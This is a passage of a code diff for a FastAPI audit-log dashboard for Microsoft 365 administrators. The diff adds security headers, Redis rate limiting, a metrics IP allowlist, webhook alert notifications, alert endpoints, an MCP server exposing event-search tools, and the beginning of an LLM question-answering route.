 app.add_middleware(CorrelationIdMiddleware)
 app.add_middleware(
     CORSMiddleware,
-    allow_origins=CORS_ORIGINS,
+    allow_origins=_effective_cors,
-    allow_credentials=True,
+    allow_credentials=_cors_credentials,
     allow_methods=["*"],
     allow_headers=["*"],
 )
@@ -71,34 +100,58 @@ async def prometheus_middleware(request: Request, call_next):
 
 
 @app.middleware("http")
-async def cache_control_middleware(request: Request, call_next):
+async def security_headers_middleware(request: Request, call_next):
     response = await call_next(request)
     # Prevent caching of HTML and API responses by default
     if request.url.path.startswith("/api/") or request.url.path in ("/", "/index.html"):
         response.headers["Cache-Control"] = "no-cache, no-store, must-revalidate"
         response.headers["Pragma"] = "no-cache"
         response.headers["Expires"] = "0"
+    # Basic CSP for the UI and API (allows MSAL auth flows)
+    if request.url.path.startswith("/api/") or request.url.path in ("/", "/index.html"):
+        response.headers["Content-Security-Policy"] = (
+            "default-src 'self'; "
+            "script-src 'self' 'unsafe-inline' 'unsafe-eval' cdn.jsdelivr.net alcdn.msauth.net; "
+            "style-src 'self' 'unsafe-inline'; "
+            "connect-src 'self' https://login.microsoftonline.com; "
+            "frame-src 'self' https://login.microsoftonline.com; "
+            "form-action 'self' https://login.microsoftonline.com; "
+            "img-src 'self' data:; "
+            "font-src 'self' data:;"
+        )
+    # Additional security headers
+    response.headers["X-Content-Type-Options"] = "nosniff"
+    response.headers["X-Frame-Options"] = "DENY"
+    response.headers["Referrer-Policy"] = "strict-origin-when-cross-origin"
+    response.headers["Permissions-Policy"] = (
+        "accelerometer=(), camera=(), geolocation=(), gyroscope=(), magnetometer=(), microphone=(), payment=(), usb=()"
+    )
     return response
 
 
+@app.middleware("http")
+async def rate_limit_middleware(request: Request, call_next):
+    """Apply Redis-backed rate limiting before processing the request."""
+    # Exempt config and health endpoints from rate limiting
+    exempt_paths = {"/api/config/auth", "/api/config/features", "/health", "/metrics"}
+    if request.url.path.startswith("/api/") and request.url.path not in exempt_paths:
+        from rate_limiter import check_rate_limit
+
+        await check_rate_limit(request)
+    return await call_next(request)
+
+
 @app.middleware("http")
 async def audit_middleware(request: Request, call_next):
     response = await call_next(request)
     if request.url.path.startswith("/api/") and request.method in ("POST", "PATCH", "PUT", "DELETE"):
-        from auth import AUTH_ENABLED
-
         user = "anonymous"
         if AUTH_ENABLED:
-            auth_header = request.headers.get("authorization", "")
+            from auth import _auth_context
-            if auth_header.lower().startswith("bearer "):
-                try:
-                    from jose import jwt
 
-                    token = auth_header.split(" ", 1)[1]
+            claims = _auth_context.get(None)
-                    claims = jwt.get_unverified_claims(token)
+            if isinstance(claims, dict):
-                    user = claims.get("sub", "unknown")
+                user = claims.get("sub", "unknown")
-                except Exception:
-                    pass
         log_action(
             action=request.method.lower(),
             resource=request.url.path,
@@ -113,8 +166,17 @@ app.include_router(events_router, prefix="/api")
 app.include_router(config_router, prefix="/api")
 app.include_router(webhooks_router, prefix="/api")
 app.include_router(health_router, prefix="/api")
-app.include_router(ask_router, prefix="/api")
+if AI_FEATURES_ENABLED:
+    from routes.ask import router as ask_router
+
+    app.include_router(ask_router, prefix="/api")
+    from routes.mcp import mcp_asgi
+
+    app.mount("/mcp", mcp_asgi)
+app.include_router(saved_searches_router, prefix="/api")
 app.include_router(rules_router, prefix="/api")
+app.include_router(alerts_router, prefix="/api")
+app.include_router(jobs_router, prefix="/api")
 
 
 @app.get("/health")
@@ -129,11 +191,66 @@ async def health_check():
         raise HTTPException(status_code=503, detail="Database unavailable") from exc
 
 
+def _client_ip(request: Request) -> str:
+    """Best-effort client IP: X-Forwarded-For first hop, or direct client host."""
+    forwarded = request.headers.get("x-forwarded-for")
+    if forwarded:
+        return forwarded.split(",")[0].strip()
+    return request.client.host if request.client else ""
+
+
+def _is_metrics_allowed(ip: str) -> bool:
+    """Check if IP is in the configured metrics allowlist."""
+    if not METRICS_ALLOWED_IPS:
+        return True
+    try:
+        client_addr = ipaddress.ip_address(ip)
+    except ValueError:
+        return False
+    for network in METRICS_ALLOWED_IPS.split(","):
+        network = network.strip()
+        if not network:
+            continue
+        try:
+            if client_addr in ipaddress.ip_network(network, strict=False):
+                return True
+        except ValueError:
+            continue
+    return False
+
+
 @app.get("/metrics")
-async def metrics():
+async def metrics(request: Request):
+    client_ip = _client_ip(request)
+    if not _is_metrics_allowed(client_ip):
+        raise HTTPException(status_code=403, detail="Forbidden")
     return Response(content=prometheus_metrics(), media_type="text/plain")
 
 
+@app.get("/api/version")
+async def version():
+    return {"version": os.environ.get("VERSION", "unknown")}
+
+
+@app.exception_handler(Exception)
+async def generic_exception_handler(request: Request, exc: Exception):
+    """Return generic error messages for unhandled exceptions to avoid info leakage."""
+    if isinstance(exc, HTTPException):
+        from fastapi.responses import JSONResponse
+
+        return JSONResponse(
+            status_code=exc.status_code,
+            content={"detail": exc.detail},
+            headers=getattr(exc, "headers", None) or {},
+        )
+    logger.error("Unhandled exception", path=request.url.path, error=str(exc))
+    return Response(
+        content='{"detail":"Internal server error"}',
+        status_code=500,
+        media_type="application/json",
+    )
+
+
 frontend_dir = Path(__file__).parent / "frontend"
 app.mount("/", StaticFiles(directory=frontend_dir, html=True), name="frontend")
 
@@ -151,6 +268,22 @@ async def _periodic_fetch():
 @app.on_event("startup")
 async def start_periodic_fetch():
     setup_indexes()
+    from rules import seed_default_rules
+
+    seed_default_rules()
+    logger.info(
+        "AOC startup",
+        version=os.environ.get("VERSION", "unknown"),
+        auth_enabled=AUTH_ENABLED,
+        ai_enabled=AI_FEATURES_ENABLED,
+    )
+    # Warn when auth is enabled but no role/group restrictions are configured
+    if AUTH_ENABLED and not AUTH_ALLOWED_ROLES and not AUTH_ALLOWED_GROUPS:
+        logger.warning(
+            "AUTH_ENABLED is true but no AUTH_ALLOWED_ROLES or AUTH_ALLOWED_GROUPS are configured. "
+            "Any Entra user in the tenant can authenticate and access AOC. "
+            "Set AUTH_ALLOWED_ROLES or AUTH_ALLOWED_GROUPS to restrict access."
+        )
     if ENABLE_PERIODIC_FETCH:
         app.state.fetch_task = asyncio.create_task(_periodic_fetch())
 
@@ -162,3 +295,6 @@ async def stop_periodic_fetch():
         task.cancel()
         with suppress(Exception):
             await task
+    from redis_client import close_redis_connections
+
+    await close_redis_connections()

backend/mcp_common.py

@@ -0,0 +1,187 @@
+"""Shared MCP tool handlers used by both stdio and SSE transports."""
+
+import json
+from datetime import UTC, datetime, timedelta
+
+from database import events_collection
+from mcp.types import TextContent
+
+
+async def handle_search_events(arguments: dict) -> list[TextContent]:
+    days = arguments.get("days", 7)
+    limit = min(arguments.get("limit", 20), 100)
+    since = (datetime.now(UTC) - timedelta(days=days)).isoformat().replace("+00:00", "Z")
+
+    filters = [{"timestamp": {"$gte": since}}]
+
+    services = arguments.get("services")
+    if services:
+        filters.append({"service": {"$in": services}})
+
+    operation = arguments.get("operation")
+    if operation:
+        filters.append({"operation": {"$regex": operation, "$options": "i"}})
+
+    result = arguments.get("result")
+    if result:
+        filters.append({"result": {"$regex": result, "$options": "i"}})
+
+    entity = arguments.get("entity")
+    if entity:
+        entity_safe = entity.replace(".", "\\.").replace("(", "\\(").replace(")", "\\)")
+        filters.append(
+            {
+                "$or": [
+                    {"target_displays": {"$elemMatch": {"$regex": entity_safe, "$options": "i"}}},
+                    {"actor_display": {"$regex": entity_safe, "$options": "i"}},
+                    {"actor_upn": {"$regex": entity_safe, "$options": "i"}},
+                    {"raw_text": {"$regex": entity_safe, "$options": "i"}},
+                ]
+            }
+        )
+
+    query = {"$and": filters}
+    cursor = events_collection.find(query).sort("timestamp", -1).limit(limit)
+    events = list(cursor)
+
+    if not events:
+        return [TextContent(type="text", text="No matching events found.")]
+
+    lines = [f"Found {len(events)} event(s):\n"]
+    for e in events:
+        ts = e.get("timestamp", "?")[:16].replace("T", " ")
+        svc = e.get("service", "?")
+        op = e.get("operation", "?")
+        actor = e.get("actor_display", "?")
+        result_str = e.get("result", "?")
+        lines.append(f"{ts} | {svc} | {op} | {actor} | {result_str}")
+
+    return [TextContent(type="text", text="\n".join(lines))]
+
+
+async def handle_get_event(arguments: dict) -> list[TextContent]:
+    event_id = arguments["event_id"]
+    event = events_collection.find_one({"id": event_id})
+    if not event:
+        return [TextContent(type="text", text=f"Event {event_id} not found.")]
+    event.pop("_id", None)
+    return [TextContent(type="text", text=json.dumps(event, indent=2, default=str))]
+
+
+async def handle_get_summary(arguments: dict) -> list[TextContent]:
+    days = arguments.get("days", 7)
+    since = (datetime.now(UTC) - timedelta(days=days)).isoformat().replace("+00:00", "Z")
+    query = {"timestamp": {"$gte": since}}
+
+    total = events_collection.count_documents(query)
+    if total == 0:
+        return [TextContent(type="text", text="No events in the specified period.")]
+
+    svc_pipeline = [
+        {"$match": query},
+        {"$group": {"_id": "$service", "count": {"$sum": 1}}},
+        {"$sort": {"count": -1}},
+        {"$limit": 10},
+    ]
+    op_pipeline = [
+        {"$match": query},
+        {"$group": {"_id": "$operation", "count": {"$sum": 1}}},
+        {"$sort": {"count": -1}},
+        {"$limit": 10},
+    ]
+    result_pipeline = [
+        {"$match": query},
+        {"$group": {"_id": "$result", "count": {"$sum": 1}}},
+        {"$sort": {"count": -1}},
+    ]
+    actor_pipeline = [
+        {"$match": query},
+        {"$group": {"_id": "$actor_display", "count": {"$sum": 1}}},
+        {"$sort": {"count": -1}},
+        {"$limit": 10},
+    ]
+
+    svc_counts = list(events_collection.aggregate(svc_pipeline))
+    op_counts = list(events_collection.aggregate(op_pipeline))
+    result_counts = list(events_collection.aggregate(result_pipeline))
+    actor_counts = list(events_collection.aggregate(actor_pipeline))
+
+    lines = [f"Summary for the last {days} days ({total} total events)\n"]
+
+    lines.append("By service:")
+    for row in svc_counts:
+        lines.append(f"  {row['_id'] or 'Unknown'}: {row['count']}")
+
+    lines.append("\nBy action:")
+    for row in op_counts:
+        lines.append(f"  {row['_id'] or 'Unknown'}: {row['count']}")
+
+    lines.append("\nBy result:")
+    for row in result_counts:
+        lines.append(f"  {row['_id'] or 'Unknown'}: {row['count']}")
+
+    lines.append("\nTop actors:")
+    for row in actor_counts:
+        lines.append(f"  {row['_id'] or 'Unknown'}: {row['count']}")
+
+    return [TextContent(type="text", text="\n".join(lines))]
+
+
+async def handle_ask(arguments: dict) -> list[TextContent]:
+    """For now, returns recent events + guidance. In the future this could call the LLM backend."""
+    question = arguments["question"]
+    days = arguments.get("days", 7)
+
+    result = await handle_search_events({"entity": "", "days": days, "limit": 50})
+    base_text = result[0].text if result else ""
+
+    text = (
+        f"You asked: '{question}'\n\n"
+        f"Here are the most recent events from the last {days} days:\n\n"
+        f"{base_text}\n\n"
+        f"Tip: Use the 'search_events' tool with specific filters "
+        f"to narrow down the dataset before asking follow-up questions."
+    )
+    return [TextContent(type="text", text=text)]
+
+
+# JSON schemas for tool definitions
+SEARCH_EVENTS_SCHEMA = {
+    "type": "object",
+    "properties": {
+        "entity": {"type": "string", "description": "Device name, user UPN, or email to search for"},
+        "services": {
+            "type": "array",
+            "items": {"type": "string"},
+            "description": "Filter by service (e.g. Intune, Directory, Exchange)",
+        },
+        "operation": {"type": "string", "description": "Filter by operation name"},
+        "result": {"type": "string", "description": "Filter by result (success, failure)"},
+        "days": {"type": "integer", "description": "Number of days to look back (default 7)"},
+        "limit": {"type": "integer", "description": "Max events to return (default 20)"},
+    },
+}
+
+GET_EVENT_SCHEMA = {
+    "type": "object",
+    "properties": {
+        "event_id": {"type": "string", "description": "The event ID to retrieve"},
+    },
+    "required": ["event_id"],
+}
+
+GET_SUMMARY_SCHEMA = {
+    "type": "object",
+    "properties": {
+        "days": {"type": "integer", "description": "Number of days to summarise (default 7)"},
+    },
+}
+
+ASK_SCHEMA = {
+    "type": "object",
+    "properties": {
+        "question": {"type": "string", "description": "Natural language question about audit logs"},
+        "days": {"type": "integer", "description": "Number of days to look back (default 7)"},
+    },
+    "required": ["question"],
+}

backend/mcp_server.py

@@ -0,0 +1,97 @@
+#!/usr/bin/env python3
+"""
+AOC MCP Server — stdio transport
+
+Standalone MCP server for local use (Claude Desktop, Cursor, etc.).
+For the HTTP/SSE version (production, behind auth), see routes/mcp.py.
+
+Usage:
+    python mcp_server.py
+
+Claude Desktop config (~/.config/claude/claude_desktop_config.json):
+    {
+      "mcpServers": {
+        "aoc": {
+          "command": "python",
+          "args": ["/path/to/aoc/backend/mcp_server.py"],
+          "env": {"MONGO_URI": "mongodb://..."}
+        }
+      }
+    }
+"""
+
+import asyncio
+import os
+import sys
+
+# Ensure backend modules are importable when run standalone
+sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
+
+from mcp.server import Server
+from mcp.server.stdio import stdio_server
+from mcp.types import TextContent, Tool
+from mcp_common import (
+    ASK_SCHEMA,
+    GET_EVENT_SCHEMA,
+    GET_SUMMARY_SCHEMA,
+    SEARCH_EVENTS_SCHEMA,
+    handle_ask,
+    handle_get_event,
+    handle_get_summary,
+    handle_search_events,
+)
+
+# Security warning: this standalone stdio server has no authentication.
+# Only run it in trusted environments (e.g. local Claude Desktop) and
+# ensure the MongoDB connection uses authenticated credentials.
+print("=" * 60, file=sys.stderr)
+print("AOC MCP Server (stdio transport)", file=sys.stderr)
+print("WARNING: No authentication layer. Only run in trusted", file=sys.stderr)
+print("environments or behind a VPN. See AGENTS.md for details.", file=sys.stderr)
+print("=" * 60, file=sys.stderr)
+
+app = Server("aoc")
+
+
+@app.list_tools()
+async def list_tools() -> list[Tool]:
+    return [
+        Tool(
+            name="search_events",
+            description="Search audit events by entity, service, operation, or result.",
+            inputSchema=SEARCH_EVENTS_SCHEMA,
+        ),
+        Tool(name="get_event", description="Retrieve a single audit event by its ID.", inputSchema=GET_EVENT_SCHEMA),
+        Tool(
+            name="get_summary",
+            description="Get an aggregated summary of audit activity for the last N days.",
+            inputSchema=GET_SUMMARY_SCHEMA,
+        ),
+        Tool(
+            name="ask",
+            description="Ask a natural language question about audit logs. Returns a narrative answer.",
+            inputSchema=ASK_SCHEMA,
+        ),
+    ]
+
+
+@app.call_tool()
+async def call_tool(name: str, arguments: dict) -> list[TextContent]:
+    if name == "search_events":
+        return await handle_search_events(arguments)
+    if name == "get_event":
+        return await handle_get_event(arguments)
+    if name == "get_summary":
+        return await handle_get_summary(arguments)
+    if name == "ask":
+        return await handle_ask(arguments)
+    raise ValueError(f"Unknown tool: {name}")
+
+
+async def main():
+    async with stdio_server() as (read_stream, write_stream):
+        await app.run(read_stream, write_stream, app.create_initialization_options())
+
+
+if __name__ == "__main__":
+    asyncio.run(main())

backend/models/api.py

@@ -63,12 +63,18 @@ class CommentAddRequest(BaseModel):
     text: str
 
 
+class AlertCondition(BaseModel):
+    field: str
+    op: str  # eq, neq, contains, in, after_hours
+    value: str | list[str] | None = None
+
+
 class AlertRuleResponse(BaseModel):
     id: str | None = None
     name: str
     enabled: bool
     severity: str
-    conditions: list[dict]
+    conditions: list[AlertCondition]
     message: str
 
 
@@ -82,6 +88,7 @@ class AskRequest(BaseModel):
     end: str | None = None
     include_tags: list[str] | None = None
     exclude_tags: list[str] | None = None
+    async_mode: bool = False  # enqueue async job instead of waiting
 
 
 class AskEventRef(BaseModel):
@@ -101,3 +108,4 @@ class AskResponse(BaseModel):
     query_info: dict
     llm_used: bool
     llm_error: str | None = None
+    job_id: str | None = None

backend/notifications.py

@@ -0,0 +1,172 @@
+"""Pluggable notification channels for admin-ops alerts.
+
+Supported channels:
+- webhook: POST JSON to any URL (Slack, Teams, generic)
+"""
+
+from datetime import UTC, datetime
+
+import requests
+import structlog
+from tenacity import retry, retry_if_exception_type, stop_after_attempt, wait_exponential
+
+logger = structlog.get_logger("aoc.notifications")
+
+WEBHOOK_TIMEOUT = 15
+
+
+@retry(
+    stop=stop_after_attempt(3),
+    wait=wait_exponential(multiplier=1, min=2, max=10),
+    retry=retry_if_exception_type((requests.ConnectionError, requests.Timeout)),
+    reraise=True,
+)
+def _post_webhook(url: str, payload: dict) -> requests.Response:
+    """POST to webhook with retry on connection/timeout errors."""
+    return requests.post(url, json=payload, timeout=WEBHOOK_TIMEOUT, headers={"Content-Type": "application/json"})
+
+
+def _build_slack_payload(rule_name: str, severity: str, message: str, event: dict) -> dict:
+    """Build a Slack-compatible block payload."""
+    color = {"high": "#ef4444", "medium": "#f97316", "low": "#3b82f6"}.get(severity, "#94a3b8")
+    ts = event.get("timestamp", "?")
+    op = event.get("operation", "unknown")
+    actor = event.get("actor_display", "unknown")
+    targets = ", ".join(event.get("target_displays", [])) or "—"
+    svc = event.get("service", "unknown")
+    return {
+        "text": f"[{severity.upper()}] {rule_name}: {message}",
+        "attachments": [
+            {
+                "color": color,
+                "fields": [
+                    {"title": "Rule", "value": rule_name, "short": True},
+                    {"title": "Severity", "value": severity.upper(), "short": True},
+                    {"title": "Service", "value": svc, "short": True},
+                    {"title": "Action", "value": op, "short": True},
+                    {"title": "Actor", "value": actor, "short": True},
+                    {"title": "Target", "value": targets, "short": True},
+                    {"title": "Time", "value": ts, "short": False},
+                ],
+                "footer": "AOC Admin Operations Center",
+            }
+        ],
+    }
+
+
+def _build_teams_payload(rule_name: str, severity: str, message: str, event: dict) -> dict:
+    """Build a Microsoft Teams adaptive card payload."""
+    color = {"high": "Attention", "medium": "Warning", "low": "Good"}.get(severity, "Default")
+    ts = event.get("timestamp", "?")
+    op = event.get("operation", "unknown")
+    actor = event.get("actor_display", "unknown")
+    targets = ", ".join(event.get("target_displays", [])) or "—"
+    svc = event.get("service", "unknown")
+    return {
+        "type": "message",
+        "attachments": [
+            {
+                "contentType": "application/vnd.microsoft.card.adaptive",
+                "content": {
+                    "$schema": "http://adaptivecards.io/schemas/adaptive-card.json",
+                    "type": "AdaptiveCard",
+                    "version": "1.4",
+                    "body": [
+                        {
+                            "type": "TextBlock",
+                            "text": f"🚨 {severity.upper()}: {rule_name}",
+                            "weight": "Bolder",
+                            "size": "Medium",
+                            "color": color,
+                        },
+                        {"type": "TextBlock", "text": message, "wrap": True},
+                        {
+                            "type": "FactSet",
+                            "facts": [
+                                {"title": "Service:", "value": svc},
+                                {"title": "Action:", "value": op},
+                                {"title": "Actor:", "value": actor},
+                                {"title": "Target:", "value": targets},
+                                {"title": "Time:", "value": ts},
+                            ],
+                        },
+                    ],
+                },
+            }
+        ],
+    }
+
+
+def _build_generic_payload(rule_name: str, severity: str, message: str, event: dict) -> dict:
+    """Build a generic JSON payload."""
+    return {
+        "alert": {
+            "rule_name": rule_name,
+            "severity": severity,
+            "message": message,
+            "timestamp": datetime.now(UTC).isoformat(),
+        },
+        "event": {
+            "id": event.get("id"),
+            "timestamp": event.get("timestamp"),
+            "service": event.get("service"),
+            "operation": event.get("operation"),
+            "actor_display": event.get("actor_display"),
+            "target_displays": event.get("target_displays"),
+            "result": event.get("result"),
+        },
+    }
+
+
+def send_notification(
+    webhook_url: str,
+    format_type: str,
+    rule_name: str,
+    severity: str,
+    message: str,
+    event: dict,
+) -> bool:
+    """Send an alert notification to the configured channel.
+
+    Args:
+        webhook_url: URL to POST to.
+        format_type: "slack", "teams", or "generic".
+        rule_name: Name of the triggered rule.
+        severity: high, medium, or low.
+        message: Human-readable alert message.
+        event: The normalized event that triggered the alert.
+
+    Returns:
+        True if delivery succeeded, False otherwise.
+    """
+    if not webhook_url:
+        return False
+
+    builders = {
+        "slack": _build_slack_payload,
+        "teams": _build_teams_payload,
+        "generic": _build_generic_payload,
+    }
+    builder = builders.get(format_type, _build_generic_payload)
+    payload = builder(rule_name, severity, message, event)
+
+    try:
+        res = _post_webhook(webhook_url, payload)
+        res.raise_for_status()
+        logger.info(
+            "Notification sent",
+            rule=rule_name,
+            severity=severity,
+            format=format_type,
+            status_code=res.status_code,
+        )
+        return True
+    except Exception as exc:
+        logger.warning(
+            "Notification failed after retries",
+            rule=rule_name,
+            severity=severity,
+            format=format_type,
+            error=str(exc),
+        )
+        return False

backend/rate_limiter.py

@@ -0,0 +1,83 @@
+"""Simple Redis-backed fixed-window rate limiter."""
+
+import time
+
+import structlog
+from config import RATE_LIMIT_ENABLED, RATE_LIMIT_REQUESTS, RATE_LIMIT_WINDOW_SECONDS
+from fastapi import HTTPException, Request
+from redis_client import get_redis
+
+logger = structlog.get_logger("aoc.rate_limit")
+
+
+class RateLimitExceeded(HTTPException):
+    def __init__(self, retry_after: int):
+        super().__init__(
+            status_code=429,
+            detail="Rate limit exceeded. Please slow down.",
+            headers={"Retry-After": str(retry_after)},
+        )
+
+
+def _get_identifier(request: Request) -> str:
+    """Best-effort client identifier: authenticated sub, or X-Forwarded-For, or client host."""
+    user = getattr(request.state, "user", None)
+    if user and isinstance(user, dict):
+        sub = user.get("sub")
+        if sub and sub != "anonymous":
+            return f"user:{sub}"
+
+    forwarded = request.headers.get("x-forwarded-for")
+    if forwarded:
+        return f"ip:{forwarded.split(',')[0].strip()}"
+
+    return f"ip:{request.client.host if request.client else 'unknown'}"
+
+
+def _get_path_category(path: str) -> str:
+    """Bucket paths into rate-limit categories."""
+    if path.startswith("/api/fetch"):
+        return "fetch"
+    if path.startswith("/api/ask"):
+        return "ask"
+    if path.startswith("/api/events/bulk-tags"):
+        return "write"
+    return "default"
+
+
+def _limit_for_category(category: str) -> tuple[int, int]:
+    """Return (max_requests, window_seconds) for a category."""
+    if category == "fetch":
+        return (10, 3600)  # 10 per hour
+    if category == "ask":
+        return (30, 60)  # 30 per minute
+    if category == "write":
+        return (20, 60)  # 20 per minute
+    return (RATE_LIMIT_REQUESTS, RATE_LIMIT_WINDOW_SECONDS)
+
+
+async def check_rate_limit(request: Request):
+    """Raise RateLimitExceeded if the client has exceeded their quota."""
+    if not RATE_LIMIT_ENABLED:
+        return
+
+    category = _get_path_category(request.url.path)
+    limit, window = _limit_for_category(category)
+
+    identifier = _get_identifier(request)
+    now = int(time.time())
+    window_key = now // window
+    redis_key = f"rate_limit:{identifier}:{category}:{window_key}"
+
+    try:
+        redis = await get_redis()
+        count = await redis.incr(redis_key)
+        if count == 1:
+            await redis.expire(redis_key, window)
+        if count > limit:
+            raise RateLimitExceeded(retry_after=window - (now % window))
+    except RateLimitExceeded:
+        raise
+    except Exception as exc:
+        logger.warning("Rate limiter Redis error; failing closed", error=str(exc))
+        raise RateLimitExceeded(retry_after=60) from None

backend/redis_client.py

@@ -0,0 +1,36 @@
+"""Async Redis client singleton for caching and job queue."""
+
+import redis.asyncio as aioredis
+from arq import create_pool
+from arq.connections import ArqRedis, RedisSettings
+from config import REDIS_URL
+
+_arq_pool: ArqRedis | None = None
+_plain_redis: aioredis.Redis | None = None
+
+
+async def get_arq_pool() -> ArqRedis:
+    """Return a shared arq pool (ArqRedis extends redis.asyncio.Redis)."""
+    global _arq_pool
+    if _arq_pool is None:
+        _arq_pool = await create_pool(RedisSettings.from_dsn(REDIS_URL))
+    return _arq_pool
+
+
+async def get_redis() -> aioredis.Redis:
+    """Return a shared plain async Redis client."""
+    global _plain_redis
+    if _plain_redis is None:
+        _plain_redis = aioredis.from_url(REDIS_URL, decode_responses=True)
+    return _plain_redis
+
+
+async def close_redis_connections():
+    """Close all Redis connections (call on shutdown)."""
+    global _arq_pool, _plain_redis
+    if _arq_pool:
+        await _arq_pool.close()
+        _arq_pool = None
+    if _plain_redis:
+        await _plain_redis.close()
+        _plain_redis = None

backend/requirements.txt

@@ -13,3 +13,11 @@ tenacity
 prometheus-client
 httpx
 gunicorn
+mcp
+redis
+arq
+
+# Optional: Azure Key Vault integration for secrets storage
+# Uncomment if using AZURE_KEY_VAULT_NAME
+# azure-identity
+# azure-keyvault-secrets

backend/routes/alerts.py

@@ -0,0 +1,78 @@
+"""Alert management endpoints."""
+
+from auth import require_auth
+from bson import ObjectId
+from database import alerts_collection
+from fastapi import APIRouter, Depends, HTTPException, Query
+from pydantic import BaseModel
+
+router = APIRouter(dependencies=[Depends(require_auth)])
+
+
+class AlertStatusUpdate(BaseModel):
+    status: str  # open | acknowledged | resolved | false_positive
+
+
+class AlertListResponse(BaseModel):
+    items: list[dict]
+    total: int
+
+
+@router.get("/alerts", response_model=AlertListResponse)
+def list_alerts(
+    status: str = Query(default="", description="Filter by status"),
+    severity: str = Query(default="", description="Filter by severity"),
+    rule_name: str = Query(default="", description="Filter by rule name"),
+    page_size: int = Query(default=50, ge=1, le=200),
+    page: int = Query(default=1, ge=1),
+):
+    query = {}
+    if status:
+        query["status"] = status
+    if severity:
+        query["severity"] = severity
+    if rule_name:
+        query["rule_name"] = {"$regex": rule_name, "$options": "i"}
+
+    total = alerts_collection.count_documents(query)
+    skip = (page - 1) * page_size
+    cursor = alerts_collection.find(query, {"_id": 0}).sort("timestamp", -1).skip(skip).limit(page_size)
+    return {"items": list(cursor), "total": total}
+
+
+@router.patch("/alerts/{alert_id}/status")
+def update_alert_status(alert_id: str, body: AlertStatusUpdate):
+    result = alerts_collection.update_one(
+        {"_id": ObjectId(alert_id)},
+        {"$set": {"status": body.status}},
+    )
+    if result.matched_count == 0:
+        raise HTTPException(status_code=404, detail="Alert not found")
+    return {"updated": True, "status": body.status}
+
+
+@router.get("/alerts/summary")
+def alert_summary():
+    """Return counts by status and severity for the dashboard."""
+    pipeline = [
+        {
+            "$group": {
+                "_id": {"status": "$status", "severity": "$severity"},
+                "count": {"$sum": 1},
+            }
+        }
+    ]
+    by_status_severity = list(alerts_collection.aggregate(pipeline))
+
+    total_open = alerts_collection.count_documents({"status": "open"})
+    total_acknowledged = alerts_collection.count_documents({"status": "acknowledged"})
+    total_resolved = alerts_collection.count_documents({"status": "resolved"})
+    total_false_positive = alerts_collection.count_documents({"status": "false_positive"})
+
+    return {
+        "total_open": total_open,
+        "total_acknowledged": total_acknowledged,
+        "total_resolved": total_resolved,
+        "total_false_positive": total_false_positive,
+        "by_status_severity": by_status_severity,
+    }

backend/routes/ask.py

@@ -1,18 +1,154 @@
+import asyncio
 import json
 import re
 from datetime import UTC, datetime, timedelta
 
 import httpx
 import structlog
-from auth import require_auth
+from auth import require_auth, user_can_access_privacy_services
-from config import LLM_API_KEY, LLM_API_VERSION, LLM_BASE_URL, LLM_MAX_EVENTS, LLM_MODEL, LLM_TIMEOUT_SECONDS
+from config import (
+    LLM_ALLOWED_DOMAINS,
+    LLM_API_KEY,
+    LLM_API_VERSION,
+    LLM_BASE_URL,
+    LLM_MAX_EVENTS,
+    LLM_MODEL,
+    LLM_TIMEOUT_SECONDS,
+    PRIVACY_SENSITIVE_OPERATIONS,
+    PRIVACY_SERVICES,
+)
 from database import events_collection
 from fastapi import APIRouter, Depends, HTTPException
+from jobs import get_cached_ask, get_cached_explain, set_cached_ask, set_cached_explain
 from models.api import AskRequest, AskResponse
+from redis_client import get_arq_pool
 
 router = APIRouter(dependencies=[Depends(require_auth)])
 logger = structlog.get_logger("aoc.ask")
 
+# ---------------------------------------------------------------------------
+# Intent extraction — map question keywords to relevant audit services
+# ---------------------------------------------------------------------------
+
+_SERVICE_INTENTS = {
+    "intune": ["Intune"],
+    "device": ["Intune", "Device"],
+    "laptop": ["Intune", "Device"],
+    "mobile": ["Intune", "Device"],
+    "phone": ["Intune", "Device"],
+    "ipad": ["Intune", "Device"],
+    "app": ["Intune", "ApplicationManagement"],
+    "application": ["Intune", "ApplicationManagement"],
+    "policy": ["Intune", "Policy"],
+    "compliance": ["Intune", "Policy"],
+    "user": ["Directory", "UserManagement"],
+    "group": ["Directory", "GroupManagement"],
+    "role": ["Directory", "RoleManagement"],
+    "permission": ["Directory", "RoleManagement"],
+    "license": ["Directory", "License"],
+    "email": ["Exchange"],
+    "mailbox": ["Exchange"],
+    "mail": ["Exchange"],
+    "message": ["Exchange", "Teams"],
+    "file": ["SharePoint"],
+    "sharepoint": ["SharePoint"],
+    "site": ["SharePoint"],
+    "document": ["SharePoint"],
+    "team": ["Teams"],
+    "channel": ["Teams"],
+    "meeting": ["Teams"],
+    "call": ["Teams"],
+}
+
+# Services that are extremely noisy for typical admin questions.
+# We exclude them by default on broad questions unless the user explicitly mentions them.
+_NOISY_SERVICES = {"Exchange", "SharePoint", "Teams"}
+
+# Services that are generally admin-relevant and kept by default.
+_DEFAULT_ADMIN_SERVICES = {
+    "Directory",
+    "UserManagement",
+    "GroupManagement",
+    "RoleManagement",
+    "ApplicationManagement",
+    "Intune",
+    "Device",
+    "Policy",
+    "Teams",
+    "License",
+}
+
+
+def _extract_intent_services(question: str) -> tuple[list[str] | None, bool]:
+    """
+    Extract relevant services from the question.
+
+    Returns:
+        (services, is_explicit):
+        - services: list of service names to query, or None for default admin set
+        - is_explicit: True if the user explicitly mentioned a noisy service
+    """
+    q_lower = question.lower()
+    tokens = set(re.findall(r"\b[a-z]+\b", q_lower))
+
+    matched_services = set()
+    for token, services in _SERVICE_INTENTS.items():
+        if token in tokens:
+            matched_services.update(services)
+
+    if matched_services:
+        # User asked something specific — return exactly what they asked for
+        is_explicit = not matched_services.isdisjoint(_NOISY_SERVICES)
+        return sorted(matched_services), is_explicit
+
+    # Broad question with no clear intent — default to admin-relevant services only
+    return None, False
+
+
+# ---------------------------------------------------------------------------
+# Smart sampling — stratified by importance so the LLM sees signal, not noise
+# ---------------------------------------------------------------------------
+
+
+def _smart_sample(events: list[dict], max_events: int = 200) -> list[dict]:
+    """
+    Return a curated subset that preserves diversity and prioritises signal.
+
+    Tiers:
+      1. Failures (always valuable)
+      2. High-admin-value services (Intune, Device, Directory, etc.)
+      3. Everything else
+    """
+    if len(events) <= max_events:
+        return events
+
+    high_value = {
+        "Directory",
+        "UserManagement",
+        "GroupManagement",
+        "RoleManagement",
+        "Intune",
+        "Device",
+        "Policy",
+        "ApplicationManagement",
+    }
+
+    failures = [e for e in events if str(e.get("result") or "").lower() in ("failure", "failed")]
+    high_val = [e for e in events if e.get("service") in high_value and e not in failures]
+    rest = [e for e in events if e not in failures and e not in high_val]
+
